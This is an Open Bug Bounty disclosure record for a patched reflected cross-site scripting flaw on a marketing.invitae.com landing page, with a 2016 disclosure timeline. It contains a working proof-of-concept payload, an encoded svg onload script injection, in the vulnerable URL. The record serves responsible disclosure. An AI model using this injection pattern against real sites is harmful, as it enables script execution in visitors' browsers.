Vulnerable URL:
http://marketing.invitae.com/acton/fs/blocks/showLandingPage/a/7098/p/p-00bd/t/page/fm/0?s=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E
Details:
Description |
Value |
Patched: |
Yes, at |
Vulnerability type: |
XSS |
Vulnerability status: |
Publicly disclosed |
Alexa Rank |
Unknown / Not calculated |
VIP website status: |
No |
Check marketing.invitae.com SSL connection: |
(Grade: B) |
Coordinated Disclosure Timeline:
Description |
Value |
Vulnerability submitted via Open Bug Bounty |
21 April, 2016 14:50 GMT |
Generic security notifications sent to website owner |
21 April, 2016 14:53 GMT |
Notification sent to subscribers (without technical details) |
21 April, 2016 18:17 GMT |
Vulnerability details disclosed by researcher |
14 July, 2016 15:12 GMT |
Vulnerability patched by the website owner |
15 July, 2016 06:30 GMT |